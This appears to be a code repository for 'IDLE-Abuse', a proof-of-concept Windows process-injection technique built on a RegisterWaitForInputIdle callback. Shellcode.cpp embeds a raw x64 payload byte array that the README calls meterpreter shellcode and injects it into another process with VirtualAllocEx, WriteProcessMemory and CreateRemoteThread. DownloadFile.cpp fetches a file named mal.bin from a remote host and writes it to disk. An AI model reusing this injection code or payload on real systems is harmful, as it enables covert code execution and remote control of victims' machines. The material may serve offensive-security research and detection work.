├── README.md
├── RegisterWaitForInputIdle
├── DownloadFile.cpp
├── MessageBox.cpp
├── RegisterWaitForInputIdle.sln
├── RegisterWaitForInputIdle.vcxproj
├── RegisterWaitForInputIdle.vcxproj.filters
├── RegisterWaitForInputIdle.vcxproj.user
├── Shellcode.cpp
└── readme.md
└── random-cat.gif
/README.md:
--------------------------------------------------------------------------------
1 | # IDLE-Abuse
2 |
3 |
4 |
5 | IDLE Abuse :A simple technique to detect when a Windows process becomes idle and inject malicious code into it. This technique relies on an undocumented Windows API function called RegisterWaitForInputIdle, which allows a callback function to be registered and called when a process becomes idle.
6 |
7 | The PoC, written by [Navneet Raj](https://twitter.com/_muffin31) and [ElementalX](https://twitter.com/ElementalX2) , demonstrates the use of this technique by registering a callback function that injects a meterpreter shellcode into the Windows calculator process when the process spawned by `WinExec` function becomes idle. Thanks to folks at Stack Overflow & REACT OS Source code for showing us the correct direction.
8 |
9 |
10 | Special thanks to [modexp](https://twitter.com/modexpblog) for helping us with the code overview.
11 |
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/DownloadFile.cpp:
--------------------------------------------------------------------------------
1 | //Author : Navneet & ElementalX
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 |
11 | #pragma comment(lib, "wininet.lib")
12 |
13 |
14 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds)
15 | {
16 |
17 | HINTERNET hInternet = InternetOpen(L"MyApp", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
18 | if (!hInternet)
19 | {
20 | std::cout << "Failed to initialize WinINet session\n";
21 | return 1;
22 | }
23 |
24 |
25 | HINTERNET hConnect = InternetConnect(hInternet, L"192.xxx.xx.x", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
26 | if (!hConnect)
27 | {
28 | std::cout << "Failed to connect to remote host\n";
29 | InternetCloseHandle(hInternet);
30 | return 1;
31 | }
32 |
33 | HINTERNET hRequest = HttpOpenRequest(hConnect, L"GET", L"/mal.bin", NULL, NULL, NULL, 0, 0);
34 | if (!hRequest)
35 | {
36 | std::cout << "Failed to open HTTP request\n";
37 | InternetCloseHandle(hConnect);
38 | InternetCloseHandle(hInternet);
39 | return 1;
40 | }
41 |
42 |
43 | BOOL bSendRequest = HttpSendRequest(hRequest, NULL, 0, NULL, 0);
44 | if (!bSendRequest)
45 | {
46 | std::cout << "Failed to send HTTP request\n";
47 | InternetCloseHandle(hRequest);
48 | InternetCloseHandle(hConnect);
49 | InternetCloseHandle(hInternet);
50 | return 1;
51 | }
52 |
53 |
54 | std::ofstream outfile("C:\\Users\\Downloads\\mal.bin", std::ios::out | std::ios::binary);
55 | if (!outfile.is_open())
56 | {
57 | std::cout << "Failed to create output file\n";
58 | InternetCloseHandle(hRequest);
59 | InternetCloseHandle(hConnect);
60 | InternetCloseHandle(hInternet);
61 | return 1;
62 | }
63 |
64 |
65 | char buffer[1024];
66 | DWORD dwRead = 0;
67 | while (InternetReadFile(hRequest, buffer, sizeof(buffer), &dwRead) && dwRead != 0)
68 | {
69 | outfile.write(buffer, dwRead);
70 | }
71 |
72 |
73 | outfile.close();
74 |
75 |
76 | InternetCloseHandle(hRequest);
77 | InternetCloseHandle(hConnect);
78 | InternetCloseHandle(hInternet);
79 |
80 | return 0;
81 | }
82 |
83 |
84 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD);
85 |
86 |
87 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL;
88 |
89 |
90 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle)
91 | {
92 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle;
93 | }
94 |
95 |
96 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow)
97 | {
98 | STARTUPINFOA StartupInfo;
99 | PROCESS_INFORMATION ProcessInformation;
100 | DWORD dosErr;
101 |
102 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo));
103 | StartupInfo.cb = sizeof(STARTUPINFOA);
104 | StartupInfo.wShowWindow = (WORD)uCmdShow;
105 | StartupInfo.dwFlags = 0;
106 |
107 | if (!CreateProcessA(NULL,
108 | (LPSTR)lpCmdLine,
109 | NULL,
110 | NULL,
111 | FALSE,
112 | 0,
113 | NULL,
114 | NULL,
115 | &StartupInfo,
116 | &ProcessInformation))
117 | {
118 | dosErr = GetLastError();
119 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT;
120 | }
121 |
122 | if (NULL != UserWaitForInputIdleRoutine)
123 | {
124 |
125 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000);
126 | }
127 |
128 | CloseHandle(ProcessInformation.hProcess);
129 | CloseHandle(ProcessInformation.hThread);
130 |
131 | return 33;
132 | }
133 |
134 | int main()
135 | {
136 |
137 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine);
138 |
139 |
140 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL);
141 |
142 | std::cout << "WinExec returned: " << result << std::endl;
143 |
144 | return 0;
145 | }
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/MessageBox.cpp:
--------------------------------------------------------------------------------
1 | //Author : Navneet & ElementalX
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 |
9 |
10 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds)
11 | {
12 |
13 | MessageBoxA(NULL, "Hello World", "POP POP", MB_OK);
14 | }
15 |
16 |
17 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD);
18 |
19 |
20 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL;
21 |
22 |
23 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle)
24 | {
25 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle;
26 | }
27 |
28 |
29 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow)
30 | {
31 | STARTUPINFOA StartupInfo;
32 | PROCESS_INFORMATION ProcessInformation;
33 | DWORD dosErr;
34 |
35 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo));
36 | StartupInfo.cb = sizeof(STARTUPINFOA);
37 | StartupInfo.wShowWindow = (WORD)uCmdShow;
38 | StartupInfo.dwFlags = 0;
39 |
40 | if (!CreateProcessA(NULL,
41 | (LPSTR)lpCmdLine,
42 | NULL,
43 | NULL,
44 | FALSE,
45 | 0,
46 | NULL,
47 | NULL,
48 | &StartupInfo,
49 | &ProcessInformation))
50 | {
51 | dosErr = GetLastError();
52 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT;
53 | }
54 |
55 | if (NULL != UserWaitForInputIdleRoutine)
56 | {
57 |
58 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000);
59 | }
60 |
61 | CloseHandle(ProcessInformation.hProcess);
62 | CloseHandle(ProcessInformation.hThread);
63 |
64 | return 33;
65 | }
66 |
67 | int main()
68 | {
69 |
70 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine);
71 |
72 |
73 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL);
74 |
75 | std::cout << "WinExec returned: " << result << std::endl;
76 |
77 | return 0;
78 | }
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/RegisterWaitForInputIdle.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.6.33513.286
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RegisterWaitForInputIdle", "RegisterWaitForInputIdle.vcxproj", "{EA5B3179-939D-4437-A4B5-1080BEEB2FA5}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x64.ActiveCfg = Debug|x64
17 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x64.Build.0 = Debug|x64
18 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x86.ActiveCfg = Debug|Win32
19 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Debug|x86.Build.0 = Debug|Win32
20 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x64.ActiveCfg = Release|x64
21 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x64.Build.0 = Release|x64
22 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x86.ActiveCfg = Release|Win32
23 | {EA5B3179-939D-4437-A4B5-1080BEEB2FA5}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {34E0D929-D73F-4FAD-A99D-35C3B032F6D8}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 | 16.0
28 | Win32Proj
29 | {ea5b3179-939d-4437-a4b5-1080beeb2fa5}
30 | RegisterWaitForInputIdle
31 | 10.0
32 |
33 |
34 |
35 | Application
36 | true
37 | v143
38 | Unicode
39 |
40 |
41 | Application
42 | false
43 | v143
44 | true
45 | Unicode
46 |
47 |
48 | Application
49 | true
50 | v143
51 | Unicode
52 |
53 |
54 | Application
55 | false
56 | v143
57 | true
58 | Unicode
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 | Level3
81 | true
82 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
83 | true
84 |
85 |
86 | Console
87 | true
88 |
89 |
90 |
91 |
92 | Level3
93 | true
94 | true
95 | true
96 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
97 | true
98 |
99 |
100 | Console
101 | true
102 | true
103 | true
104 |
105 |
106 |
107 |
108 | Level3
109 | true
110 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
111 | true
112 |
113 |
114 | Console
115 | true
116 |
117 |
118 |
119 |
120 | Level3
121 | true
122 | true
123 | true
124 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
125 | true
126 |
127 |
128 | Console
129 | true
130 | true
131 | true
132 |
133 |
134 |
135 |
136 |
137 |
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 |
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/RegisterWaitForInputIdle.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/Shellcode.cpp:
--------------------------------------------------------------------------------
1 | //Author : Navneet & ElementalX
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 |
9 | unsigned char shellcode[] =
10 | "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef"
11 | "\xff\xff\xff\x48\xbb\x0d\xb5\x4c\xe3\x8c\xeb\x24\xb7\x48"
12 | "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xf1\xfd\xcf"
13 | "\x07\x7c\x03\xe4\xb7\x0d\xb5\x0d\xb2\xcd\xbb\x76\xe6\x5b"
14 | "\xfd\x7d\x31\xe9\xa3\xaf\xe5\x6d\xfd\xc7\xb1\x94\xa3\xaf"
15 | "\xe5\x2d\xfd\xc7\x91\xdc\xa3\x2b\x00\x47\xff\x01\xd2\x45"
16 | "\xa3\x15\x77\xa1\x89\x2d\x9f\x8e\xc7\x04\xf6\xcc\x7c\x41"
17 | "\xa2\x8d\x2a\xc6\x5a\x5f\xf4\x1d\xab\x07\xb9\x04\x3c\x4f"
18 | "\x89\x04\xe2\x5c\x60\xa4\x3f\x0d\xb5\x4c\xab\x09\x2b\x50"
19 | "\xd0\x45\xb4\x9c\xb3\x07\xa3\x3c\xf3\x86\xf5\x6c\xaa\x8d"
20 | "\x3b\xc7\xe1\x45\x4a\x85\xa2\x07\xdf\xac\xff\x0c\x63\x01"
21 | "\xd2\x45\xa3\x15\x77\xa1\xf4\x8d\x2a\x81\xaa\x25\x76\x35"
22 | "\x55\x39\x12\xc0\xe8\x68\x93\x05\xf0\x75\x32\xf9\x33\x7c"
23 | "\xf3\x86\xf5\x68\xaa\x8d\x3b\x42\xf6\x86\xb9\x04\xa7\x07"
24 | "\xab\x38\xfe\x0c\x65\x0d\x68\x88\x63\x6c\xb6\xdd\xf4\x14"
25 | "\xa2\xd4\xb5\x7d\xed\x4c\xed\x0d\xba\xcd\xb1\x6c\x34\xe1"
26 | "\x95\x0d\xb1\x73\x0b\x7c\xf6\x54\xef\x04\x68\x9e\x02\x73"
27 | "\x48\xf2\x4a\x11\xaa\x32\x9c\x57\x85\x52\x86\x7e\xe3\x8c"
28 | "\xaa\x72\xfe\x84\x53\x04\x62\x60\x4b\x25\xb7\x0d\xfc\xc5"
29 | "\x06\xc5\x57\x26\xb7\x0c\x0e\x8c\x4b\x8d\xec\x65\xe3\x44"
30 | "\x3c\xa8\xaf\x05\x1a\x65\x0d\x41\xc2\x6a\xe4\x73\x3e\x68"
31 | "\x3e\xe7\xdd\x4d\xe2\x8c\xeb\x7d\xf6\xb7\x9c\xcc\x88\x8c"
32 | "\x14\xf1\xe7\x5d\xf8\x7d\x2a\xc1\xda\xe4\xff\xf2\x75\x04"
33 | "\x6a\x4e\xa3\xdb\x77\x45\x3c\x8d\xa2\x36\x01\x2b\x68\xed"
34 | "\x4a\x99\xab\x05\x2c\x4e\xa7\x4c\xed\x00\x6a\x6e\xa3\xad"
35 | "\x4e\x4c\x0f\xd5\x46\xf8\x8a\xdb\x62\x45\x34\x88\xa3\x8e"
36 | "\xeb\x24\xfe\xb5\xd6\x21\x87\x8c\xeb\x24\xb7\x0d\xf4\x1c"
37 | "\xa2\xdc\xa3\xad\x55\x5a\xe2\x1b\xae\xbd\x2b\x4e\xba\x54"
38 | "\xf4\x1c\x01\x70\x8d\xe3\xf3\x29\xe1\x4d\xe2\xc4\x66\x60"
39 | "\x93\x15\x73\x4c\x8b\xc4\x62\xc2\xe1\x5d\xf4\x1c\xa2\xdc"
40 | "\xaa\x74\xfe\xf2\x75\x0d\xb3\xc5\x14\xec\xfa\x84\x74\x00"
41 | "\x6a\x4d\xaa\x9e\xce\xc1\x8a\xca\x1c\x59\xa3\x15\x65\x45"
42 | "\x4a\x86\x68\x82\xaa\x9e\xbf\x8a\xa8\x2c\x1c\x59\x50\xd4"
43 | "\x02\xaf\xe3\x0d\x59\x2a\x7e\x99\x2a\xf2\x60\x04\x60\x48"
44 | "\xc3\x18\xb1\x71\xbf\xcc\x18\x6c\x9e\x21\x0c\x4a\xa6\x3e"
45 | "\x8c\xe6\xeb\x7d\xf6\x84\x6f\xb3\x36\x8c\xeb\x24\xb7";
46 |
47 |
48 |
49 |
50 |
51 | DWORD MyWaitForInputIdleRoutine(HANDLE hProcess, DWORD dwMilliseconds)
52 | {
53 |
54 | HANDLE _OpenProcess{};
55 | HANDLE _CreateRemoteThread{};
56 | PVOID threadrourtineshellcoderun;
57 | DWORD processID = 18532;
58 | PROCESSENTRY32 pe{};
59 | ZeroMemory(&pe, sizeof(pe));
60 | pe.dwSize = sizeof(PROCESSENTRY32);
61 |
62 |
63 | _OpenProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processID);
64 |
65 | LPVOID lpRemoteAddress = VirtualAllocEx(_OpenProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
66 | if (lpRemoteAddress == NULL)
67 | {
68 | std::cerr << "Failed to allocate memory in remote process" << std::endl;
69 | return GetLastError();
70 | }
71 |
72 |
73 | if (!WriteProcessMemory(_OpenProcess, lpRemoteAddress, shellcode, sizeof(shellcode), NULL))
74 | {
75 | std::cerr << "Failed to write shellcode to remote process memory" << std::endl;
76 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE);
77 | return GetLastError();
78 | }
79 |
80 |
81 |
82 |
83 | HANDLE hRemoteThread = CreateRemoteThread(_OpenProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteAddress, NULL, 0, NULL);
84 | if (hRemoteThread == NULL)
85 | {
86 | std::cerr << "Failed to create remote thread" << std::endl;
87 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE);
88 | return GetLastError();
89 | }
90 |
91 | if (hRemoteThread) {
92 |
93 | MessageBoxA(NULL, "Shellcode injected using RegisterWaitForInputIdle", "ACHIVED", MB_OK);
94 | }
95 |
96 |
97 | WaitForSingleObject(hRemoteThread, INFINITE);
98 |
99 |
100 | VirtualFreeEx(hProcess, lpRemoteAddress, 0, MEM_RELEASE);
101 | CloseHandle(hRemoteThread);
102 |
103 | return 0;
104 | }
105 |
106 |
107 | typedef DWORD(WINAPI* WaitForInputIdleType)(HANDLE, DWORD);
108 |
109 |
110 | WaitForInputIdleType UserWaitForInputIdleRoutine = NULL;
111 |
112 |
113 | VOID WINAPI RegisterWaitForInputIdle(WaitForInputIdleType lpfnRegisterWaitForInputIdle)
114 | {
115 | UserWaitForInputIdleRoutine = lpfnRegisterWaitForInputIdle;
116 | }
117 |
118 |
119 | UINT WINAPI MyWinExec(LPCSTR lpCmdLine, UINT uCmdShow)
120 | {
121 | STARTUPINFOA StartupInfo;
122 | PROCESS_INFORMATION ProcessInformation;
123 | DWORD dosErr;
124 |
125 | RtlZeroMemory(&StartupInfo, sizeof(StartupInfo));
126 | StartupInfo.cb = sizeof(STARTUPINFOA);
127 | StartupInfo.wShowWindow = (WORD)uCmdShow;
128 | StartupInfo.dwFlags = 0;
129 |
130 | if (!CreateProcessA(NULL,
131 | (LPSTR)lpCmdLine,
132 | NULL,
133 | NULL,
134 | FALSE,
135 | 0,
136 | NULL,
137 | NULL,
138 | &StartupInfo,
139 | &ProcessInformation))
140 | {
141 | dosErr = GetLastError();
142 | return dosErr < 32 ? dosErr : ERROR_BAD_FORMAT;
143 | }
144 |
145 | if (NULL != UserWaitForInputIdleRoutine)
146 | {
147 |
148 | UserWaitForInputIdleRoutine(ProcessInformation.hProcess, 10000);
149 | }
150 |
151 | CloseHandle(ProcessInformation.hProcess);
152 | CloseHandle(ProcessInformation.hThread);
153 |
154 | return 33;
155 | }
156 |
157 | int main()
158 | {
159 |
160 | RegisterWaitForInputIdle(MyWaitForInputIdleRoutine);
161 |
162 |
163 | UINT result = MyWinExec("C:\\Windows\\System32\\calc.exe", SW_SHOWNORMAL);
164 |
165 | std::cout << "WinExec returned: " << result << std::endl;
166 |
167 | return 0;
168 | }
--------------------------------------------------------------------------------
/RegisterWaitForInputIdle/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/random-cat.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RixedLabs/IDLE-Abuse/36e75276c1a6f664d23e34a47c4061e4060c529f/random-cat.gif
--------------------------------------------------------------------------------